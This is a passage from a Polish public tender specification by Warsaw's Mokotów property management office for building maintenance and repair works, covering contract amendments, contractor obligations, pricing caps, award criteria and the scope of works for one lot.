spełnia warunki udziału w postępowaniu, nie zachodzą wobec niego podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian umowy;3.6.1.4.3. w wyniku przejęcia przez Zamawiającego zobowiązań Wykonawcy względem jego podwykonawców, o ile Wykonawca wykonuje przedmiot zamówienia z udziałem podwykonawców3.6.1.5.	zmian - niezależnie od ich wartości, jeżeli nie są one istotne w rozumieniu art. 144 ust. 1e ustawy;3.6.1.6. łączna wartość zmian jest mniejsza niż kwoty określone w przepisach wydanych na podstawie art. 11 ust. 8 ustawy i jest mniejsza niż 10 % wartości przedmiotu zamówienia; 3.6.1.7.	zmiany wysokości wynagrodzenia w przypadku:3.6.1.7.1. zmiany stawki podatku od towarów i usług;3.6.1.7.2. zmiany wysokości minimalnego wynagrodzenia za pracę albo wysokości minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu o pracę (tj. Dz. U. z 2017 r. poz. 847);3.6.1.7.3. zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, na zasadach i w sposób opisany w § 15 istotnych postanowień umowy -Rozdział III SIWZ3.6.2. Z wyjątkiem zamian określonych w § 1 ust. 3, 4 i 5 4 ust. 4, 10 i 11 oraz w § 8 ust. 5 istotnych postanowień umowy -Rozdział III SIWZ, wszelkie inne zmiany umowy zawartej w wyniku rozstrzygnięcia przedmiotowego postępowania wymagają sporządzenia aneksu do umowy w formie pisemnej pod rygorem nieważności.3.6.3. W przypadkach, o których mowa w pkt. 3.6.1.2., 3.6.1.3. oraz 3.6.1.4. ppkt. 3.6.1.4.2. SIWZ Zamawiający nie wprowadzi kolejnych zmian umowy w celu uniknięcia stosowania przepisów ustawy Prawo zamówień publicznych.3.6.4. W przypadkach, o których mowa w pkt. 3.6.1.1., 3.6.1.3. i 3.6.1.6. SIWZ zmiany postanowień umowy nie mogą prowadzić do zmiany charakteru umowy.3.6.5. Wynagrodzenie dla Wykonawcy za wykonanie robót mieszczących się w zakresie, o którym mowa w pkt. 3.6.1.2, 3.6.1.3. i 3.6.1.6. SIWZ obliczone będzie wg zasad przyjętych w niniejszej umowie i kwot zawartych w ofercie. 3.6.6. Zamawiający zastrzega sobie możliwość zmiany wykazu budynków stanowiących Rozdział IV siwz.3.6.7. Zamawiający zastrzega sobie możliwość zmiany lub uzupełnienia o nowe pozycje Norm Zakładowych Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów m. st. Warszawy, które stanowią Rozdział VII siwz.3.6.8. Na etapie realizacji umowy Zamawiający zastrzega sobie możliwość dokonania zmiany przedmiaru robót stanowiącego Rozdział VI SIWZ, w zakresie ilości robót i ich rodzajów wyszczególnionych w poszczególnych pozycjach, co skutkować będzie zmianą kosztorysu zamiennego/powykonawczego Wykonawcy , z zastrzeżeniem, że zmiana ta nie może prowadzić do zwiększenia zaoferowanej przez Wykonawcę w kosztorysie ofertowym ceny.3.7.	Wykonawca zobowiązany będzie do: 3.7.1. posiadania opłaconej polisy lub innego dokumentu ubezpieczenia na kwotę nie niższą niż równowartość 100.000 złotych polskich, potwierdzającego, że jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności gospodarczej, w tym w zakresie przedmiotu zamówienia; 3.7.2. wniesienia zabezpieczenia należytego wykonania umowy na zasadach określonych w pkt. 22 SIWZ; 3.7.3. udzielenia gwarancji na wykonane przez siebie roboty na czas minimum 36 miesięcy od daty odbioru. Warunki gwarancji zawierają Istotne postanowienia umowy stanowiące Rozdział III SIWZ - wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy stanowi kryterium oceny ofert i punktowane będzie w sposób opisany w pkt. 19 SIWZ; 3.7.4. przedłożenia Zamawiającemu do zatwierdzenia harmonogramu kontroli (przeglądów), o których mowa w pkt. 3.1.1. SIWZ, w ciągu 7 dni kalendarzowych po podpisaniu umowy;3.7.5. zgłaszania się w okresie obowiązywania umowy, zawartej w wyniku rozstrzygnięcia niniejszego postępowania, w dni robocze w godzinach 7-15 niezwłocznie po otrzymaniu telefonicznego wezwania lub po wcześniejszym kontakcie wykonawcy z Zamawiającym w celu pobierania zleceń;. 3.7.6. pełnienia całodobowo usług pogotowia i dyżuru pod numerem telefonu, na który będą mogły być całodobowo zgłaszane przestoje i usterki budowlane w trakcie realizacji umowy zawartej w wyniku rozstrzygnięcia niniejszego postępowania; Numer telefonu będzie podany na piśmie dla danego DOM przez Wykonawcę w dacie podpisania umowy. 3.7.7. podpisania umowy na wykonywanie robót mających na celu utrzymanie sprawności technicznej elementów budynków zgodnych w zakresie określonym w pkt od 3.1.1. do 3.1.10. SIWZ na warunkach określonych w złożonej i przyjętej ofercie w budynkach Wspólnot Mieszkaniowych (które wyrażą na to zgodę) wyszczególnionych w Rozdziale IV B SIWZ: 3.7.7.1. warunki gwarancji i wykonania zamówienia w budynkach Wspólnot Mieszkaniowych będą zgodne z warunkami określonymi w niniejszej specyfikacji oraz w istotnych postanowieniach umowy, stanowiących Rozdział III SIWZ, 3.7.7.2. Wykonawca zobowiązany będzie do wystawienia faktur za roboty wykonane w budynkach Wspólnot Mieszkaniowych, o których mowa w pkt. 3.7.7. SIWZ, podmiotom, na rzecz których roboty będzie wykonywał, 3.8. Zaoferowana przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - maksymalna stawka roboczogodziny kosztorysowej nie może przekroczyć średniej warszawskiej określonej w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. dla robót budowlanych: R netto = 21,93 zł. i R brutto = 38,26 zł. Stawka roboczogodziny kosztorysowej brutto obejmuje wartość stawki roboczogodziny kosztorysowej netto powiększonej o narzut kosztów pośrednich i zysk kalkulacyjny [Rbrutto = (Rnetto + Kp + Z)]. Wykonawca musi wpisać oferowane stawki roboczogodziny kosztorysowej Rnetto i Rbrutto, Kp i Z w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej. 3.9.	Zaoferowany przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - wskaźnik narzutu kosztów zakupu materiałów (Wkz) - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - nie może być wyższy niż średni warszawski określony w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. tj. dla robót budowlanych i wynoszący Wkz = 4,4 %. Wykonawca musi wpisać oferowane Wkz w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej.3.10.	Zaoferowana przez Wykonawcę cena (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy każdego z budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w przeliczeniu na 1m3 kubatury budynku za jeden przegląd nie może przekraczać 0,10 złotego (bez VAT), przy czym cena za jeden przegląd każdego pojedynczego budynku nie może być niższa niż 1 zł ( bez VAT). Wykonawca musi wpisać ceny w kol. 11 wykazów budynków gminnych, zarządzanych i administrowanych przez ZGN, stanowiących Rozdział IV A SIWZ, nie wyższe niż 0,10 zł/m3 (bez VAT) kubatury budynku za przegląd każdego budynku gminnego zarządzanych i administrowanych przez ZGN, przy czym cena za jeden przegląd każdego pojedynczego ww. budynku nie może być niższa niż 1zł ( bez VAT). Suma wszystkich cen wymienionych w kolumnie 11 pod nazwą ,,Cena za przegląd każdego budynku wyszczególnionego w kol. 2 wg terminów wyszczególnionych w kol. 12" musi być umieszczona we wzorze formularza oferty częściowej w pkt. 1 c jako ,,suma cen (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy, dla wszystkich budynków gminnych zarządzanych i administrowanych przez ZGN w 2020 r. w DOM (dla którego składana jest oferta częściowa). Ponadto w w/w pkt. 1 c należy wpisać kwotę podatku VAT oraz sumę cen (z VAT) za dokonywane co 12 miesięcy całoroczne przeglądy [P] budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w DOM, dla którego składana jest oferta częściowa. W 2019 r nie będzie przeglądów.3.11.	Dla realizacji przedmiotu zamówienia, na czas obowiązywania umowy, która zostanie zawarta w wyniku rozstrzygnięcia przedmiotowego postępowania, istnieje możliwość wynajęcia od zamawiającego pomieszczeń na zaplecze techniczne po stawkach strefowych na zasadach przyjętych przez m. st. Warszawę ZGN w Dzielnicy Mokotów. 3.11.1. Część 1: brak pomieszczeń.3.11.2. Część 2 : brak pomieszczeń.3.11.3. część 3 - brak pomieszczeń 3.11.4. Część 4 : dla DOM ,,Madalińskiego" : ul. Wiśniowej 35 wiata w podwórku o pow. 47,26 m2, wyposażone w energię elektryczną,3.11.5. Część 5 : dla DOM ,,Konduktorska": pomieszczenia wyposażone w instalację elektryczną przy ul. Konduktorskiej 12, - wiata blaszana nr 1 o pow. 24,89 m2, - wiata blaszana nr 2 o pow. 19,89 m2, - wiata blaszana nr 5 o pow. 11,04 m2, - wiata blaszana nr 6 o pow. 15,45 m2 - wiata blaszana nr 7 o pow. 15,40 m2,- pomieszczenie piwniczne wyposażone w energię elektryczna o pow. 11,70 m2. 3.11.6. Część 6 : dla DOM ,,Polkowska":- pomieszczenie gospodarcze w piwnicy budynku biurowego DOM, pow. 15,68 m2, wyposażone w co i elektryczność, - wiata na podwórku wyposażona w elektryczność o pow. 100,28 m2 , - garaż na podwórku wyposażony w elektryczność o powierzchni 30,00 m2,możliwość korzystania z w.c. ogólnego w budynku biurowym DOM. Stawki czynszu dla wszystkich w/w lokali będą naliczone - wg obowiązujących w ZGN Mokotów na dzień podpisania umowy. 3.12. Wykonawca musi mieć zatrudnione na podstawie umowy o pracę, w rozumieniu przepisów ustawy z dnia 26 czerwca 1974 r. -Kodeks pracy (Dz. U. z 2019 r., poz. 9171040 z późn. zm.). osoby wykonujące wszystkie czynności będące przedmiotem zamówienia dotyczące wykonywania wszystkich robót remontowych zapewniających stałe utrzymanie w ruchu budynków oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków, wyszczególnione w opisie przedmiotu zamówienia w pkt. 3.1. SIWZ, z wyjątkiem przypadków prawem wyłączonych. Obowiązek zatrudnienia na podstawie w/w umowy o pracę nie dotyczy osób, które będą pełniły funkcję kierownika/kierowników robót objętych zamówieniem oraz będą wykonywały przeglądy roczne budynków, które mogą być zatrudnione przez Wykonawcę w ramach stosunków prawnych dopuszczonych przez prawo. Obowiązek, o którym mowa w zdaniu pierwszym, dotyczy również podwykonawców realizujących zamówienie, na zasoby których Wykonawca się powołuje oraz innych podmiotów uczestniczących w wykonaniu zamówienia, na zasoby których Wykonawca się powołuje.3.13. W odniesieniu do wykonywania robót budowlanych wymagających ustanowienia kierownika robót oraz do wykonywaniu przeglądów budowlanych rocznych objętych zamówieniem Wykonawca zobowiązany jest zapewnić do nadzorowania robót budowlanych i wykonania przeglądów osobę posiadającą uprawnienia budowlane wymagane ustawą prawo budowlane, - do kierowania robotami, a w przypadku przeglądów dodatkowo do kontrolowania i oceny stanu technicznego elementów konstrukcyjnych w specjalności konstrukcyjno-budowlanej w zakresie niezbędnym do realizacji przedmiotu zamówienia lub odpowiedni dokument stwierdzający przygotowanie zawodowe do wykonywania powyższych czynności oraz wpis na listę członków właściwej izby samorządu zawodowego. 3.14 . Zamawiający przewiduje możliwość udzielenia zamówień podobnych, o których mowa w art. 67 ust. 1 pkt. 6 ustawy w przypadku włączenia do robót wchodzących w zakres przedmiotu zamówienia budynków nowo oddanych do administrowania ZGN lub nie ujętych w zestawieniu stanowiącym załącznik Rozdział IVA, IVB, IVC SIWZ - Wykaz budynków, itp. oraz w przypadku powtórzenia podobnych robót, w budynkach o których mowa w zdaniu poprzednim oraz w przypadku konieczności wykonania zamówień podobnych we wszystkich budynkach objętych zamówieniem, w okresie 3 lat od udzielenia zamówienia podstawowego. Wartość w/w powtórzonych podobnych robót nie przekroczy 50 % wartości zamówienia podstawowego tj. kwoty 510.000,00 z VAT. Zamawiający dokonywać będzie podziału w/w kwoty pomiędzy działy obsługi mieszkańców (DOM) wg. potrzeb i posiadanych środków.Warunki udzielenia zamówień podobnych: Wykonawca będzie wykonywał zamówienie należycie i bez zbędnej zwłoki, w standardach nie gorszych niż w umowie podstawowej, na warunkach umowy podstawowej. Ceny będą podlegały negocjacji.4.Każda cena (stawka) z VAT podana w ofercie uwzględniać musi podatek VAT wg stawki obowiązującej w dacie składania oferty. <br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>45000000-7, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: 138055,56<br/>Waluta: <br/>zł.<br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: 2019-12-01<br/>data zakończenia: 2020-11-30<br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena (z VAT) za wykonanie zamówienia w/g kosztorysu Ofertowego Wykonawcy sporządzonego na postawie ramowego przedmiaru robót </td><td style="border: 1px solid black;border-collapse: collapse;">30,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena- stawka roboczogodziny kosztorysowej Rbrutto = [(Rnetto+Kp+Z)] z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena - dodatek za drobne naprawy (D) z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">czas przystąpienia do usunięcia zgłoszonej awarii </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>5</td><td><b>Nazwa: </b></td><td>Konduktorska</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Wykonawca zobowiązany będzie do wykonywania robót mających na celu utrzymanie sprawności technicznej elementów budynków i obiektów znajdujących się na terenach administrowanych przez ZGN, w zakres których wchodzą w szczególności roboty polegające na wykonaniu:1. robót wyszczególnionych w ,,ramowym" przedmiarze robót stanowiącym załącznik do SIWZ (Rozdział VI siwz) w szczególności:1.1. roboty posadzkarskie i okładzinowe ścian:?	skucie posadzki ceramicznej, ?	zerwanie posadzek z PCV, ?	przybicie płyt twardych pod posadzki, ?	wykonanie warstw wyrównawczych,?	naprawa posadzek cementowych i drewnianych, ? ułożenie posadzek z tworzywa sztucznego, montaż progów przejściowych, ?	montaż listew przyściennych drewnianych. ? cyklinowanie posadzek z deszczułek drewnianych,? szlifowanie posadzek z lastryko,?	demontaż boazerii, paneli ściennych itp.,?	demontaż złomowy sufitów podwieszanych,?	rozebranie posadzek z deszczułek z oderwaniem listew lub cokołów,?	skucie lepiku, subitu lub kleju trwale związanego z podkładem betonowym po rozebraniu posadzki z deszczułek,1.2. roboty murarskie: ? wykucie z muru kratek wentylacyjnych, ościeżnic drewnianych i metalowych, podokienników drewnianych i z lastryko, ? zamurowanie przebić w ścianach, ? obsadzenie kratek wentylacyjnych oraz ościeżnic stalowych, 1.3. roboty stolarskie: ? demontaż szaf wbudowanych, ?	demontaż ścianki drewnianej,?	wykonanie ścianki z płyty gipsowych + montaż ościeżnicy stalowej, ?	montaż okuć stolarskich, zasuwki, wkładka Yale itp.,? montaż nawiewnika w stolarce okiennej, ? montaż szafki pod zlewozmywak, ? regulacja stolarki okiennej, drzwiowej,?	rozszklenie i szklenie otworów okiennych lub drzwiowych,1.4. roboty malarskie emulsyjne i olejne: ? malowanie używanych ościeżnic stalowych, rur oraz grzejników farba olejną, ? jednokrotne malowanie podokienników, ? przygotowanie powierzchni ścian pod malowanie olejne i emulsyjne oraz sufitów pod emulsyjne, ? jednokrotne malowanie ścian farbami olejnymi z jednokrotnym szpachlowaniem, ? dwukrotne malowanie farbą emulsyjną sufitów i ścian po uprzednim zeskrobaniu starej farby i zagruntowaniu, ?	Ługowanie farby olejnej z tynków1.5. roboty tynkarskie?	odbicie tynków wewnętrznych z zaprawy cementowo-wapiennej na ścianach i sufitach,?	naprawa pęknięć tynku na ścianach i sufitach,?	tynki wewnętrzne zwykłe kat. III wykonywane ręcznie na ścianach i sufitach,?	tynki wewnętrzne pocienione,?	skasowanie wykwitów (zacieków),?	przecieranie istniejących tynków wewnętrznych z zeskrobaniem farby lub zdzieraniem tapet na ścianach,1.6. roboty towarzyszące:? wywiezienie materiałów z rozbiórki, ? mycie stolarki okiennej oraz parapetów,? zabezpieczenie podłóg folią, 1.7. roboty zewnętrzne :-	drobne naprawy nawierzchni drogowych,-	zasypywanie dołów i dziur po gryzoniach,-	malowanie pasów , miejsc postojowych i znaków poziomych,-	naprawa pokryć dachowych,-	naprawa elementów obiektów związanych z budynkiem i terenem, -naprawa elementów zewnętrznych budynków gminnych takich jak: rynny, okapy, tynki, opaski, zamalowywani graffiti.2. robót zapewniających stałe utrzymanie w ruchu budynków gminnych oraz lokali gminnych znajdujących się w tych budynkach zarządzanych i administrowanych przez Zakład Gospodarowania Nieruchomościami w Dzielnicy Mokotów oraz lokali gminnych, znajdujących się w budynkach wspólnotowych będących i nie będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów i budynków/lokali oświaty DOM Służewiec, DOM Wierzbno", DOM Wiśniowa , DOM Madalińskiego, DOM Konduktorska, DOM Polkowska w tym:2.1. przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy zawiera Rozdział IVA SIWZ, okresowych kontroli (raz w roku i sporządzania protokołów, wg art. 62 ust. 1 ustawy z dnia 7 lipca 1994 r. Prawa budowlane (tj. Dz. U. z 2019 poz. 1186 ze zm. - dalej: ustawa Prawo budowlane) polegających na sprawdzeniu stanu technicznego budynków, a w szczególności dokonywania przeglądów konstrukcji i pokrycia dachów, loggii, balkonów (w tym zanieczyszczeń ), attyk, kominów, balustrad, rynien, oszkleń, stolarki od zewnątrz, itp. elementów narażonych na niszczące wpływy atmosferyczne i niszczące działania czynników występujących podczas użytkowania, których uszkodzenia mogą powodować zagrożenie dla bezpieczeństwa osób, środowiska i konstrukcji budynku Szczegółowym sprawdzeniu należy objąć stan techniczny zewnętrznych warstw przegród zewnętrznych (warstwa fakturowa), elementów ścian zewnętrznych (attyki, filary, gzymsy), balustrad, loggii i balkonów, urządzeń zamocowanych do ścian i dachu, elementów odwodnienia budynku oraz obróbek blacharskich, pokryć dachowych, urządzeń stanowiących zabezpieczenie przeciwpożarowe budynku, elementów instalacji kanalizacyjnej odprowadzających ścieki z budynku, przejść przyłączy instalacyjnych przez ściany budynku oraz wszystkie pozostałe widoczne elementy budynku, a także estetykę budynku i jego otoczenia. W budynkach, w których w danym roku przeprowadzono przegląd 5-cio letni, nie wykonuje się przeglądów rocznych.2.2. całodobowe usuwanie awarii budowlanych i ich skutków wraz z robotami poawaryjnymi, zabezpieczanie doraźne obiektów miasta, gdy grożą awarią (z wyłączeniem instalacji) lub stwarzają zagrożenie życia i mienia,2.2.a Zamawiający wymaga aby Wykonawca przystąpił do usuwania awarii w ciągu 3-ch godzin od otrzymania telefonicznego zgłoszenia o zaistniałej awarii. Skrócenie ,,czasu przystąpienia do usunięcia zgłoszonej awarii" punktowane będzie zgodnie z zapisem pkt. 19 siwz.3. wykonywanie remontów, tj. wykonywanie robót naprawczych wynikających z przeprowadzonych kontroli oraz wykonywanie innych robót naprawczych zgłoszonych przez DOM zarówno w odniesieniu do budynków i lokali gminnych zarządzanych i administrowanych przez ZGN oraz lokali gminnych w budynkach Wspólnot Mieszkaniowych i budynków/lokali oświaty o ile roboty w nich zostaną zlecone przez Zamawiającego, jak i urządzeń terenowych związanych z budynkami, jak mury oporowe, schody, zjazdy do garaży podziemnych, opaski budynków, śmietniki, ogrodzenia, bramy itp. oraz elementów małej architektury i budowli związanych użytkowo z tymi budynkami oraz wykonywanie drobnych napraw dróg i chodników, montaż i demontaż znaków pionowych, słupków oraz malowanie znaków poziomych.4. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie nadmiernie nagromadzonego śniegu z dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń oraz w przypadku zagrożeń lub awarii w lokalach gminnych w budynkach Wspólnot Mieszkaniowych,5. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie zanieczyszczenia z przewodów dymowych, spalinowych i wentylacyjnych, zgłoszonych z DOM po podpisaniu umowy, 6. zgłaszanie do DOM zauważonych nieprawidłowości w zakresie stanu technicznego budynków miasta zarządzanych i administrowanych przez ZGN,7. roboty , o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2, 3.1.3. , 3.1.4., 3.1.5., SIWZ wykonywane będą na odrębne pisemne zlecenia wydawane przez DOM (stosownie do jego potrzeb) ze szczegółowym określeniem zakresu robót i ich ilości zgodnie z protokołem typowania i przedmiarem robót i ewentualnie ślepym kosztorysem oraz z określeniem terminu ich wykonania (rozpoczęcia i zakończenia).8. Prawidłowe wykonanie robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., 3.1.4., 3.1.5., każdorazowo potwierdzane będzie protokołem odbioru końcowego przez inspektora nadzoru DOM. Wynagrodzenie za realizację robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., SIWZ wypłacane będzie Wykonawcy na podstawie faktur wystawionych w oparciu o zweryfikowane przez inspektora -DOM - kosztorysy zamienne lub powykonawcze sporządzane zgodnie z przedmiarem, ślepym kosztorysem, o ile zostanie wcześniej dostarczony przez Zamawiającego lub w oparciu o protokoły typowania, obmiary robót oraz wg cen z kosztorysu ofertowego Wykonawcy stanowiącego zał. nr 1 do oferty, a w przypadku braku tych cen na podstawie czynników cenotwórczych podanych przez Wykonawcę w ofercie -kosztorys ofertowy. Ilość roboczogodzin, materiałów i czas pracy sprzętu wyliczane będą w oparciu o kosztorys sporządzony na podstawie kosztorysu ślepego jeżeli był on dostarczony przez Zamawiającego lub w oparciu o jednostkowe nakłady określone w Normach Zakładowych ZGN w Dzielnicy Mokotów stanowiące Rozdział VII siwz oraz w katalogach nakładów rzeczowych (KNR) wydanych przez Ministra Gospodarki Przestrzennej i Budownictwa, a w przypadku braku odpowiednich nakładów rzeczowych w w/w katalogach dopuszcza się stosowanie KNR wydanych przez WACETOB. Jeżeli również w tym wydawnictwie brak jest w/w nakładów wykonywanych prac dopuszcza się stosowanie wycen indywidualnych, uwzględniających także rzeczywisty czas, każdorazowo zaakceptowanych przez inspektorów Zamawiającego i zatwierdzonych przez kierownika DOM. 8.1. Ceny każdego z materiałów - bez kosztów zakupu - w przypadku gdy dany materiał nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur. Ceny materiałów na podstawie przedłożonych przez Wykonawcę faktur nie mogą być wyższe niż 120% minimalnej ceny i jednocześnie nie wyższe niż najniższe ze średnich cen dla każdego asortymentu podawanych jako ceny materiałów z notowań w publikacjach SEKOCENBUD, IMB, IMI, IME, obowiązujące dla kwartału, w którym będą zlecane roboty. W przypadkach gdy dany materiał nie występuje w w/w publikacjach lub występuje jako cena producencka, dopuszcza się cenę na dany materiał po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed zakupem i wbudowaniem niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz Kierownik DOM zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Wyklucza się przyjmowanie cen w oparciu o dane katalogowe producentów.8.2. Ceny pracy sprzętu - w przypadku gdy dany sprzęt nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym roboty były zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty.8.3. Roboty polegające na usuwaniu awarii, o których mowa w pkt. 3.1.2. (3.1.2.2.) SIWZ rozliczane będą w sposób opisany powyżej z tym, że nie będzie wystawione wyprzedzająco zlecenie z protokołem typowania robot, a niezwłocznie po powzięciu wiadomości przez DOM o usunięciu awarii tworzony będzie protokół konieczności potwierdzający wykonanie prac usuwających awarię i zabezpieczenie obiektu. Zamawiający ma prawo żądać do wglądu faktur za materiały i sprzęt użyty przy wykonywaniu przedmiotu zamówienia. 8.4. Roboty polegające na wykonaniu drobnych napraw remontowych i konserwacyjnych oraz usunięciu drobnych awarii, o których mowa w pkt. 3.1.2. , 3.1.3. SIWZ zawierających nie więcej niż cztery czynności ( za czynność należy rozumieć pozycje kosztorysowe) oraz wycenionych na kwotę nie wyższą niż 250 zł netto (np. wymiana zamka, zabezpieczenie okien i drzwi, asysta przy eksmisji itp.) rozliczane będą w sposób opisany powyżej z tym, że wykonawca będzie miał prawo doliczenia do nich kwoty dodatku (D) za drobne naprawy uwzględniającej wszelkie koszty organizacji robót m. innymi dojścia, zakupu materiałów, gotowości pracowników, której wartość poda w ofercie. UWAGA: Max. wartość dodatku za drobne naprawy (D) bez VAT nie może przekroczyć kwoty 100,00 zł. netto (bez VAT).9. Odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń, rozliczane będzie w sposób następujący:9.1.Odśnieżanie dachów i zdejmowanie sopli lodowych w zakresie pracy ludzi rozliczane będzie w oparciu o Normy Zakładowe ZGN stanowiące Rozdział VII SIWZ i będące jednocześnie załącznikiem nr 8 do umowy według stawek podanych przez Wykonawcę w formularzu oferty częściowej, a w zakresie dotyczącym sprzętu w oparciu o rzeczywisty czas pracy sprzętu każdorazowo potwierdzony przez inspektora nadzoru.9.2.Czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będzie w oparciu o rzeczywisty czas pracy ludzi i sprzętu, każdorazowo potwierdzony przez inspektora nadzoru, według stawek podanych przez Wykonawcę w formularzu oferty częściowej. 9.3.Ceny pracy sprzętu przy zdejmowaniu sopli lodowych i czyszczeniu rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców, lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym usługi będą zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Za odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń Wykonawca będzie wystawiał odrębne faktury.10. Ewentualne usuwanie zanieczyszczeń z przewodów dymowych, spalinowych i wentylacyjnych, na zlecenie z DOM, rozliczane będzie w oparciu o podaną w formularzu oferty częściowej stawką roboczogodziny zgodnie z uwzględnieniem rzeczywistego czasu pracy ludzi. Za prace wymienione w zdaniu poprzednim Wykonawca będzie wystawiał odrębne faktury.11. Przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy budynków zawiera Rozdział IV SIWZ, okresowych kontroli rozliczane będzie na podstawie cen zaoferowanych przez Wykonawcę w wykazie budynków gminnych zarządzanych i administrowanych przez ZGN, stanowiącego Rozdział IV A siwz i ilości skontrolowanych budynków.12. Zamawiający zastrzega, że:12.1. na wykonywanie czynności o których mowa w pkt. 3.1.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę kosztorysu ofertowego, sporządzonego na postawie przedmiaru robót stanowiącego Rozdział VI SIWZ,12.2. na wykonywanie czynności o których mowa w pkt. 3.1.2.; 3.1.2.2., 3.1.3. , 3.1.4. i 3.1.5. siwz przeznacza kwoty z podatkiem VAT nie większe niż:12.2.1. dla części I: DOM Służewiec - kwota 24.000,00 zł z VAT, 12.2.2. dla części II: DOM Wierzbno - kwota 